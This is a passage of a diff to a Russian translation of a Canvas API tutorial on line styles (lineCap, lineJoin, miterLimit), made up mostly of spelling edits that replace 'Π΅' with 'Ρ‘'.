ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ.</p>
+<p>Π₯отя это ΠΈ Π½Π΅ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ, ΠΊΠΎΠ³Π΄Π° ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅ΡˆΡŒ с ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΉ 2D-Π³Ρ€Π°Ρ„ΠΈΠΊΠΎΠΉ, обращая Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° сСтку пиксСлСй ΠΈ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΏΡƒΡ‚Π΅ΠΉ, Π½ΠΎ Π²Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ ваши рисунки Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ, нСзависимо ΠΎΡ‚ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ ΠΈΠ»ΠΈ Π»ΡŽΠ±Ρ‹Ρ… Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠΉ. Π’Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Π°Ρ линия ΡˆΠΈΡ€ΠΈΠ½Ρ‹ 1,0, построСнная Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, станСт Ρ‡Ρ‘Ρ‚ΠΊΠΎΠΉ 2-пиксСльной Π»ΠΈΠ½ΠΈΠ΅ΠΉ ΠΏΡ€ΠΈ ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½ΠΈΠΈ Π½Π° 2 ΠΈ появится Π² ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ.</p>
<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_lineCap">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ <code>lineCap</code></h3>
@@ -265,7 +265,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)";
<dd>ΠšΠΎΠ½Ρ†Ρ‹ Π»ΠΈΠ½ΠΈΠΉ описаны ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚ΠΎΠΌ с Ρ€Π°Π²Π½ΠΎΠΉ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ ΠΈ ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½ΠΎΠΉ высоты Ρ‚ΠΎΠ»Ρ‰ΠΈΠ½Ρ‹ Π»ΠΈΠ½ΠΈΠΈ.</dd>
</dl>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΏΡ€ΠΎΠ²Π΅Π΄Π΅ΠΌ Ρ‚Ρ€ΠΈ строки, каТдая ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΠΌΠ΅Π΅Ρ‚ Π΄Ρ€ΡƒΠ³ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для свойства <code>lineCap</code>. Π― Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ±Π°Π²ΠΈΠ» Π΄Π²Π° руководства, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Ρ‚ΠΎΡ‡Π½Ρ‹Π΅ различия ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ. КаТдая ΠΈΠ· этих Π»ΠΈΠ½ΠΈΠΉ начинаСтся ΠΈ заканчиваСтся ΠΈΠΌΠ΅Π½Π½ΠΎ Π½Π° этих Π½Π°ΠΏΡ€Π°Π²Π»ΡΡŽΡ‰ΠΈΡ….</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΏΡ€ΠΎΠ²Π΅Π΄Ρ‘ΠΌ Ρ‚Ρ€ΠΈ строки, каТдая ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΠΌΠ΅Π΅Ρ‚ Π΄Ρ€ΡƒΠ³ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для свойства <code>lineCap</code>. Π― Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ±Π°Π²ΠΈΠ» Π΄Π²Π° руководства, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Ρ‚ΠΎΡ‡Π½Ρ‹Π΅ различия ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ. КаТдая ΠΈΠ· этих Π»ΠΈΠ½ΠΈΠΉ начинаСтся ΠΈ заканчиваСтся ΠΈΠΌΠ΅Π½Π½ΠΎ Π½Π° этих Π½Π°ΠΏΡ€Π°Π²Π»ΡΡŽΡ‰ΠΈΡ….</p>
<p>Π‘Ρ‚Ρ€ΠΎΠΊΠ° слСва ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ <code>butt</code> ΠΎΠΏΡ†ΠΈΡŽ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. Π’Ρ‹ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΎΠ½Π° ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΎΡ‡ΠΈΡ‰Π΅Π½Π° ΠΎΡ‚ Π½Π°ΠΏΡ€Π°Π²Π»ΡΡŽΡ‰ΠΈΡ…. Π’Ρ‚ΠΎΡ€ΠΎΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ -Β Β <code>round</code> опция. Π­Ρ‚ΠΎ добавляСт ΠΏΠΎΠ»ΡƒΠΊΡ€ΡƒΠ³ ΠΊ ΠΊΠΎΠ½Ρ†Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ радиус, Ρ€Π°Π²Π½Ρ‹ΠΉ ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Π΅ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ Π»ΠΈΠ½ΠΈΠΈ. Π‘Ρ‚Ρ€ΠΎΠΊΠ° справа ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ <code>square</code>Β ΠΎΠΏΡ†ΠΈΡŽ. Π­Ρ‚ΠΎ добавляСт ΠΏΠΎΠ»Π΅ с Ρ€Π°Π²Π½ΠΎΠΉ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ ΠΈ ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½ΠΎΠΉ высоты Ρ‚ΠΎΠ»Ρ‰ΠΈΠ½Ρ‹ Π»ΠΈΠ½ΠΈΠΈ.</p>
@@ -313,14 +313,14 @@ ctx.fillStyle = "rgba(255,0,0,0.5)";
<dl>
<dt><code>round</code></dt>
- <dd>Радиус заполняСмой части для скруглСнных ΡƒΠ³Π»ΠΎΠ² Ρ€Π°Π²Π΅Π½ ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Π΅ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ Π»ΠΈΠ½ΠΈΠΈ. Ρ†Π΅Π½Ρ‚Ρ€ этого радиуса совпадаСт с ΠΊΠΎΠ½Ρ†Π°ΠΌΠΈ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Ρ… сСгмСнтов.</dd>
+ <dd>Радиус заполняСмой части для скруглённых ΡƒΠ³Π»ΠΎΠ² Ρ€Π°Π²Π΅Π½ ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Π΅ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ Π»ΠΈΠ½ΠΈΠΈ. Ρ†Π΅Π½Ρ‚Ρ€ этого радиуса совпадаСт с ΠΊΠΎΠ½Ρ†Π°ΠΌΠΈ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Ρ… сСгмСнтов.</dd>
<dt><code>bevel</code></dt>
- <dd>ЗаполняСт Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ Ρ‚Ρ€Π΅ΡƒΠ³ΠΎΠ»ΡŒΠ½ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΎΠ±Ρ‰Π΅ΠΉ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Ρ… сСгмСнтов ΠΈ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ внСшними ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½Ρ‹ΠΌΠΈ ΡƒΠ³Π»Π°ΠΌΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ сСгмСнта.Β </dd>
+ <dd>ЗаполняСт Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ Ρ‚Ρ€Π΅ΡƒΠ³ΠΎΠ»ΡŒΠ½ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΎΠ±Ρ‰Π΅ΠΉ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Ρ… сСгмСнтов ΠΈ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ внСшними ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½Ρ‹ΠΌΠΈ ΡƒΠ³Π»Π°ΠΌΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ сСгмСнта.Β </dd>
<dt><code>miter</code></dt>
- <dd>ΠŸΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Π΅ сСгмСнты ΡΠΎΠ΅Π΄ΠΈΠ½ΡΡŽΡ‚ΡΡ ΠΏΡƒΡ‚Π΅ΠΌ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ ΠΈΡ… Π²Π½Π΅ΡˆΠ½ΠΈΡ… ΠΊΡ€Π°Π΅Π² для соСдинСния Π² ΠΎΠ΄Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠ΅ с эффСктом заполнСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ области Π² Ρ„ΠΎΡ€ΠΌΠ΅ пастилки. Π­Ρ‚Π° настройка выполняСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойства <code>miterLimit</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ΡΡ Π½ΠΈΠΆΠ΅.</dd>
+ <dd>ΠŸΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Π΅ сСгмСнты ΡΠΎΠ΅Π΄ΠΈΠ½ΡΡŽΡ‚ΡΡ ΠΏΡƒΡ‚Ρ‘ΠΌ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ ΠΈΡ… Π²Π½Π΅ΡˆΠ½ΠΈΡ… ΠΊΡ€Π°Ρ‘Π² для соСдинСния Π² ΠΎΠ΄Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠ΅ с эффСктом заполнСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ области Π² Ρ„ΠΎΡ€ΠΌΠ΅ пастилки. Π­Ρ‚Π° настройка выполняСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойства <code>miterLimit</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ΡΡ Π½ΠΈΠΆΠ΅.</dd>
</dl>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ Ρ‚Ρ€ΠΈ Ρ€Π°Π·Π½Ρ‹Ρ… ΠΏΡƒΡ‚ΠΈ, Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· этих Ρ‚Ρ€Π΅Ρ… свойств <code>lineJoin</code>; Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ - Π²Ρ‹ΡˆΠ΅.Β </p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ Ρ‚Ρ€ΠΈ Ρ€Π°Π·Π½Ρ‹Ρ… ΠΏΡƒΡ‚ΠΈ, Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· этих Ρ‚Ρ€Ρ‘Ρ… свойств <code>lineJoin</code>; Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ - Π²Ρ‹ΡˆΠ΅.Β </p>
<pre class="brush: js;highlight[6] notranslate">function draw() {
var ctx = document.getElementById('canvas').getContext('2d');
@@ -351,9 +351,9 @@ ctx.fillStyle = "rgba(255,0,0,0.5)";
<p>Как Π²Ρ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΏΡ€ΠΈ объСдинСнии Π΄Π²ΡƒΡ… строк с ΠΎΠΏΡ†ΠΈΠ΅ΠΉΒ <code>miter</code> внСшниС края Π΄Π²ΡƒΡ… ΡΠΎΠ΅Π΄ΠΈΠ½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π»ΠΈΠ½ΠΈΠΉ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Ρ‹ Π΄ΠΎ Ρ‚ΠΎΡ‡ΠΊΠΈ, Π³Π΄Π΅ ΠΎΠ½ΠΈ Π²ΡΡ‚Ρ€Π΅Ρ‡Π°ΡŽΡ‚ΡΡ. Для Π»ΠΈΠ½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ находятся ΠΏΠΎΠ΄ большими ΡƒΠ³Π»Π°ΠΌΠΈ Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ, эта Ρ‚ΠΎΡ‡ΠΊΠ° находится Π½Π΅Π΄Π°Π»Π΅ΠΊΠΎ ΠΎΡ‚ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ соСдинСния. Однако, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΡƒΠ³Π»Ρ‹ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π»ΠΈΠ½ΠΈΠ΅ΠΉ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°ΡŽΡ‚ΡΡ, расстояниС (Π΄Π»ΠΈΠ½Π° ΠΌΠ΅Ρ‡Π°) ΠΌΠ΅ΠΆΠ΄Ρƒ этими Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ увСличиваСтся ΡΠΊΡΠΏΠΎΠ½Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ.</p>
-<p>Бвойство <code>miterLimit</code> опрСдСляСт, ΠΊΠ°ΠΊ Π΄Π°Π»Π΅ΠΊΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ внСшнюю Ρ‚ΠΎΡ‡ΠΊΡƒ соСдинСния ΠΈΠ· Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ. Если Π΄Π²Π΅ Π»ΠΈΠ½ΠΈΠΈ ΠΏΡ€Π΅Π²Ρ‹ΡˆΠ°ΡŽΡ‚ это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, вмСсто этого получаСтся привязка конуса. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ максимальная Π΄Π»ΠΈΠ½Π° ΠΌΠΈΡ‚Ρ€Π° являСтся ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Π΅Π½ΠΈΠ΅ΠΌ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ Π»ΠΈΠ½ΠΈΠΈ, ΠΈΠ·ΠΌΠ΅Ρ€Π΅Π½Π½ΠΎΠΉ Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ систСмС ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ этого свойства <code>miterLimit</code>Β (Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ 10,0 Π² HTML {{HTMLElement("canvas")}}), поэтому <code>miterLimit</code>Β ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒΡΡ нСзависимо ΠΎΡ‚ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ ΡˆΠΊΠ°Π»Ρ‹ дисплСя ΠΈΠ»ΠΈ Π»ΡŽΠ±Ρ‹Ρ… Π°Ρ„Ρ„ΠΈΠ½Π½Ρ‹Ρ… ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠΉ ΠΏΡƒΡ‚Π΅ΠΉ: ΠΎΠ½Π° влияСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° эффСктивно Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ Ρ„ΠΎΡ€ΠΌΡƒ Ρ€Π΅Π±Π΅Ρ€ Π»ΠΈΠ½ΠΈΠΈ.</p>
+<p>Бвойство <code>miterLimit</code> опрСдСляСт, ΠΊΠ°ΠΊ Π΄Π°Π»Π΅ΠΊΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ внСшнюю Ρ‚ΠΎΡ‡ΠΊΡƒ соСдинСния ΠΈΠ· Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ. Если Π΄Π²Π΅ Π»ΠΈΠ½ΠΈΠΈ ΠΏΡ€Π΅Π²Ρ‹ΡˆΠ°ΡŽΡ‚ это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, вмСсто этого получаСтся привязка конуса. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ максимальная Π΄Π»ΠΈΠ½Π° ΠΌΠΈΡ‚Ρ€Π° являСтся ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Π΅Π½ΠΈΠ΅ΠΌ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ Π»ΠΈΠ½ΠΈΠΈ, ΠΈΠ·ΠΌΠ΅Ρ€Π΅Π½Π½ΠΎΠΉ Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ систСмС ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ этого свойства <code>miterLimit</code>Β (Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ 10,0 Π² HTML {{HTMLElement("canvas")}}), поэтому <code>miterLimit</code>Β ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒΡΡ нСзависимо ΠΎΡ‚ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ ΡˆΠΊΠ°Π»Ρ‹ дисплСя ΠΈΠ»ΠΈ Π»ΡŽΠ±Ρ‹Ρ… Π°Ρ„Ρ„ΠΈΠ½Π½Ρ‹Ρ… ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠΉ ΠΏΡƒΡ‚Π΅ΠΉ: ΠΎΠ½Π° влияСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° эффСктивно Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ Ρ„ΠΎΡ€ΠΌΡƒ Ρ€Ρ‘Π±Π΅Ρ€ Π»ΠΈΠ½ΠΈΠΈ.</p>
-<p>Π’ΠΎΡ‡Π½Π΅Π΅, ΠΏΡ€Π΅Π΄Π΅Π» ΠΌΠΈΡ‚Ρ€Ρ‹ являСтся максимально допустимым ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ΠΌ Π΄Π»ΠΈΠ½Ρ‹ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ (Π² холстС HTML ΠΎΠ½ измСряСтся ΠΌΠ΅ΠΆΠ΄Ρƒ внСшним ΡƒΠ³Π»ΠΎΠΌ соСдинСнных ΠΊΡ€Π°Π΅Π² Π»ΠΈΠ½ΠΈΠΈ ΠΈ ΠΎΠ±Ρ‰Π΅ΠΉ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ ΡΠΎΠ΅Π΄ΠΈΠ½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… сСгмСнтов, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌΠΈ Π½Π° ΠΏΡƒΡ‚ΠΈ), Π΄ΠΎ ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Ρ‹ ΡˆΠΈΡ€ΠΈΠ½Ρ‹Β Π»ΠΈΠ½ΠΈΠΈ. Π•Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Ρ€Π°Π²Π½ΠΎΠ·Π½Π°Ρ‡Π½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊ максимально допустимоС ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ расстояния ΠΌΠ΅ΠΆΠ΄Ρƒ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ ΠΈ внСшнСй Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π° ΠΊΡ€Π°Π΅Π² ΠΊ ΠΎΠ±Ρ‰Π΅ΠΉ ΡˆΠΈΡ€ΠΈΠ½Π΅ Π»ΠΈΠ½ΠΈΠΈ. Π—Π°Ρ‚Π΅ΠΌ ΠΎΠ½ Ρ€Π°Π²Π΅Π½ косСкансу с ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½ΠΎΠΉ минимального Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π³ΠΎ ΡƒΠ³Π»Π° ΡΠΎΠ΅Π΄ΠΈΠ½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… сСгмСнтов, Π½ΠΈΠΆΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ создано Π½ΠΈ ΠΎΠ΄Π½ΠΎΠ³ΠΎ соСдинСния ΠΌΠΈΡ‚Ρ€Π°, Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ скос соСдиняСтся:</p>
+<p>Π’ΠΎΡ‡Π½Π΅Π΅, ΠΏΡ€Π΅Π΄Π΅Π» ΠΌΠΈΡ‚Ρ€Ρ‹ являСтся максимально допустимым ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ΠΌ Π΄Π»ΠΈΠ½Ρ‹ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ (Π² холстС HTML ΠΎΠ½ измСряСтся ΠΌΠ΅ΠΆΠ΄Ρƒ внСшним ΡƒΠ³Π»ΠΎΠΌ соСдинённых ΠΊΡ€Π°Ρ‘Π² Π»ΠΈΠ½ΠΈΠΈ ΠΈ ΠΎΠ±Ρ‰Π΅ΠΉ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ ΡΠΎΠ΅Π΄ΠΈΠ½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… сСгмСнтов, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌΠΈ Π½Π° ΠΏΡƒΡ‚ΠΈ), Π΄ΠΎ ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Ρ‹ ΡˆΠΈΡ€ΠΈΠ½Ρ‹Β Π»ΠΈΠ½ΠΈΠΈ. Π•Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Ρ€Π°Π²Π½ΠΎΠ·Π½Π°Ρ‡Π½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊ максимально допустимоС ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ расстояния ΠΌΠ΅ΠΆΠ΄Ρƒ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ ΠΈ внСшнСй Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π° ΠΊΡ€Π°Ρ‘Π² ΠΊ ΠΎΠ±Ρ‰Π΅ΠΉ ΡˆΠΈΡ€ΠΈΠ½Π΅ Π»ΠΈΠ½ΠΈΠΈ. Π—Π°Ρ‚Π΅ΠΌ ΠΎΠ½ Ρ€Π°Π²Π΅Π½ косСкансу с ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½ΠΎΠΉ минимального Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π³ΠΎ ΡƒΠ³Π»Π° ΡΠΎΠ΅Π΄ΠΈΠ½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… сСгмСнтов, Π½ΠΈΠΆΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ создано Π½ΠΈ ΠΎΠ΄Π½ΠΎΠ³ΠΎ соСдинСния ΠΌΠΈΡ‚Ρ€Π°, Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ скос соСдиняСтся:</p>
<ul>
<li><code>miterLimit</code> = <strong>max</strong> <code>miterLength</code> / <code>lineWidth</code> = 1 / <strong>sin</strong> ( <strong>min</strong> <em>ΞΈ</em> / 2 )</li>
@@ -365,7 +365,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)";
